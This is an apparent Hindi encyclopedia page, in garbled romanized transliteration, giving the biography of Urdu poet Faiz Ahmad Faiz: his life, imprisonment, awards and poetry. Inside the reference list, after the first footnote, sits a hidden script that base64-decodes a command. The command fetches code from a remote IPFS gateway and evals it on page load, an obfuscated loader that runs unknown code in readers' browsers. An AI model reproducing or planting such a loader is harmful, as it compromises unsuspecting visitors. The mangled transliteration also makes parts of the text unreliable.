फ़ैज़ अहमद फ़ैज़

भारत डिस्कवरी प्रस्तुति
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faiz ahamad faiz
poora nam faiz ahamad faiz
any nam faiz
janm 13 faravari, 1911
janm bhoomi siyalakot
mrityu 20 navambar, 1984
mrityu sthan lahaur
karm bhoomi pakistan
karm-kshetr urdoo shayar, vaicharik lekhan
mukhy rachanaean naksh-e-phariyadi, dast-e-saba, jiandaannama, dast-e-tahe-sang, mere dil mere musaphir, sar-e-vadi-e-sina adi.
bhasha urdoo, aangrezi, arabi, hiandi, roosi
vidyalay lahaur vishvavidyalay
shiksha em. e. (aangrezi evan arabi)
puraskar-upadhi shaanti puraskar (pakistani manav adhikar samaj), nigar puraskar, nishan-e-imtiyaj, lenin shaanti puraskar (soviyat sangh, 1963), nobel puraskar ke lie namit (1984)
nagarikata pakistan
anuvad dagistan ke kavi rasool gamazatov ki kuchh kavitaean, balooch kavi mir khan nasir ki kavita ‘diva’
sanpadan pakistan taims tatha imaroj (dainik), laila-o-nihar (saptahik). nirvasan ke dinoan mean m aausko, landan aur berut se ‘lotas’ ka sanpadan.
any janakari faij ahamad faij ka shumar eshiya ke mahanatam kaviyoan mean kiya jata hai. faij ahamad faij ki shayari ka anuvad hiandi, roosi, aangrezi adi kee bhashaoan mean ho chuka hai.
inhean bhi dekhean kavi soochi, sahityakar soochi
faiz ahamad faiz ki rachanaean

faiz ahamad faiz (aangrezi: Faiz Ahmad Faiz, janm: 13 faravari, 1911; mrityu: 20 navambar, 1984) prasiddh shayar the, jinako apani kraantikari rachanaoan mean rasik bhav (ianqalabi aur roomani) ke mel ki vajah se jana jata hai. sena, jel tatha nirvasan mean jivan vyatit karane vale faiz ne kee nazm, gazal likhi tatha urdoo shayari mean adhunik pragativadi daur ki rachanaoan ko sabal kiya. unhean nobel puraskar ke lie bhi manonit kiya gaya tha. jel ke dauran likhi gee unaki kavita 'zinda-nama' ko bahut pasand kiya gaya tha. unake dvara likhi gee kuchh panktiyaan ab bharat-pakistan ki am-bhasha ka hissa ban chuki haian, jaise ki 'aur bhi gam haian zamane mean muhabbat ke siva'

jivan parichay

faiz ahamad faiz ka janm 13 faravari 1911 ko avibhajit hidush‍tan ke shahar siyalakot mean jo ab pakistan mean hai, ek madhh‍yavargiy parivar mean hua tha. sanh 1936 mean ve premachand, maulavi abh‍dul haq, sajh‍jad jahir aur mulh‍k raj anand dvara sh‍thapit pragatishil lekhak sangh mean shamil hue. phai़z ahamad phai़z baba malang sahib, lahaur ke soophi, ashaphak ahamad, sayyad phakharuddin balli, vasiph ali vasiph aur any soophi santoan ke vah bhakt the. phaiz pratibaddh marksavadi the. 1930 mean phaiz ne british mahila elis se vivah kiya tha.

faiz ki jubani mean faiz ka bachapan

mera janm unnisavian sadi ke ek aise phakk d vyakti ke ghar mean hua tha jisaki ziandagi mujhase kahian zyada rangin aandaz mean guzari. mere pita siyalakot ke ek chhote se gaanv mean ek bhoomihin kisan ke ghar paida hue, yah bat mere pita ne bataee thi aur isaki tasdik gaanv ke doosare logoan dvara bhi huee thi. mere dada ke pas chooanki koee zamin nahian thi isalie mere pita gaanv ke un kisanoan ke pashuoan ko charane ka kam karate the jinaki apani zamin thi. mere pita kaha karate the ki pashuoan ko charane gaanv ke bahar le jate the jahaan ek skool tha. vah pashuoan ko charane ke lie chho d dete aur skool mean jakar shiksha prapt karate, is tarah unhoanne prathamik star ki shiksha poori ki. chooanki gaanv mean isase age ki shiksha ki koee vyavastha nahian thi, vah gaanv se bhag kar lahaur pahuanch ge. unhoanne lahaur ki ek masjid mean sharan li. mere pita kahate the ki vah sham ko relave steshan chale jaya karate the aur vahaan kuli ke roop mean kam karate the. us zamane mean garib aur aksham chhatr masjidoan mean rahate the aur masjid ke imam se ya as-pas ke madarasoan mean niahshulk shiksha prapt karate the. ilaqe ke log un chhatroan ko bhojan upalabdh karate the. --- faiz ahamad faiz[1]

karyakshetr

1942 se lekar 1947 tak ve british-sena me karnal rahe. phir phau़z se alag hokar ’pakish‍tan taimh‍s’ aur ’imaroz’ akhabaroan ke editar rahe. liyakat ali khaan ki sarakar ke takhtapalat ki sajish rachane ke jurm mean ve 1951-1955 tak kaid mean rahe. isi dauran likhi gee kavitaean bad mean bahut lokapriy hueean, jo "daste saba" tatha "jiandanama" mean prakashit hueean. bad mean ve 1962 tak lahaur mean pakistan artas kaunasil me rahe. 1963 mean unako soviyat-sangh (roos) ne lenin shaanti puraskar pradan kiya. bharat ke sath 1965 ke yuddh ke samaye ve pakistan ke soochana mantralay me kam kar rahe the.

iankalabi kavi evan roomani shayar

ve urdoo ke bahut hi jane-mane kavi the. adhunik urdoo shayari ko unhoanne ek nee ooanchaee di. isi samay urdoo ke kavy-gagan mean sahir ludhiyanavi, kaifi azami, firaq gorakhapuri jaise aur bhi sitare chamak rahe the. ve aangrezi tatha arabi mean em.e. karane ke bavajood bhi kavitayean urdoo mean hi likhate the. phai़z ahamad phai़z ki urdoo kavita dua ka balochi anuvad baloch kavi gul khan nasir dvara kiya gaya. 20vian sadi ka vo mahanh urdoo shayar jisane sarakari tamagoan aur puraskaroan ke lie nahian, jisane sharab ki chashani mean doobati-nachati mahaboobaoan ke lie nahian, jisane mazaroan aur bevafaeeyoan ke lie nahian balki apane iansan hone ke ehasas, samaj aur desh ke lie, ek sahi aur barabari ki vyavastha vale lokatantr ke lie iankalab ko apane kalam ki syahi banaya aur zulm-o-sitam mean ji rahe logoan ko vo diya jo bandookoan aur topakhanoan se badhakar tha. faiz ki kavitaoan mean jitana jianda vo sach hai jisamean ham ji rahe haian, utana hi jianda vo hausala hai jisaki badaulat adam-o-havva ki auladean apane vartaman ko badal sakati haian. vo kahate haian-

bol ke lab ajad haian tere
bol zabaan ab tak teri hai
tera sutavaan jism hai tera
bol ke jaan ab tak teri hai

shoshan, daman aur bandarabaant ko jis khoobasoorati se faiz nanga karake logoan ke samane late haian, vo bemisal hai. par jab faiz ishq bhi karate haian to lagata hai ki n jane koee ha d-maans ki mahabooba hai ya iankalab ka paracham thame hue kraanti kh di hai jisake lie vo divane hue jate haian. aur isilie jab roomaniyat ki ya iankalab ki kavitaoan ki bat alag-alag uthati hai to faiz tarajoo ke donoan or barabar vazanadar maloom dete haian. koee bhi iankalabi kavi ya shayar roomani bhi ho sakata hai ya hota hai, aise jumaloan ka sabase satik aur mazaboot udaharan faiz haian. faiz ki shatabdi mean yah khasiyat unase pahale majaz lakhanavi mean hi dikhati hai, baki is star ki kisi aur urdoo shayar mean nahian aur isilie 20vian sadi mean faiz sabase sashakt urdoo shayar ke taur par ubharakar samane ate haian.[2]

saandars ki hatya ke sakshi

faiz keval pakistan ke nahian the. jab vo paida hue to bharat aur pakistan ek hi the. kam logoan ko maloom hai ki lahaur mean saandars ki hatya ke lie bhagat sianh aur sathiyoan ki pistaul se chali goli ki avaz sunane valoan aur phir bhagate kraantikariyoan ko dekhane valoan mean se ek faiz bhi the, apane h aaustal ki chhat par tahalate hue achanak hi is aitihasik pal ke ve sakshi bane the. pakistan bana par bhagat sianh faiz ke dil mean kayam rahe. bina kisi paravah ke faiz ke lie dharati par sabase jyada pasandida aur prabhavit karane vala nam bhagat sianh bane rahe. aur phir dakshin eshiya kya, duniya ke tamam konoan mean faiz kabhi marzi se, kabhi majaboori mean pahuanche. apane sangharsh ke taranoan ko doosaroan ke lie likhate hue unhoanne duniyabhar mean shoshan aur atyachar ke khilaf apani kavitaoan ko buland kiya.[2] 


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ faiz ahamad faiz ki apabiti – 1 (hiandi) kaba dakhana. abhigaman tithi: 18 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ 2.0 2.1 sabhar : rashtriy sahara, ravivariy parishisht, 27 march 2011

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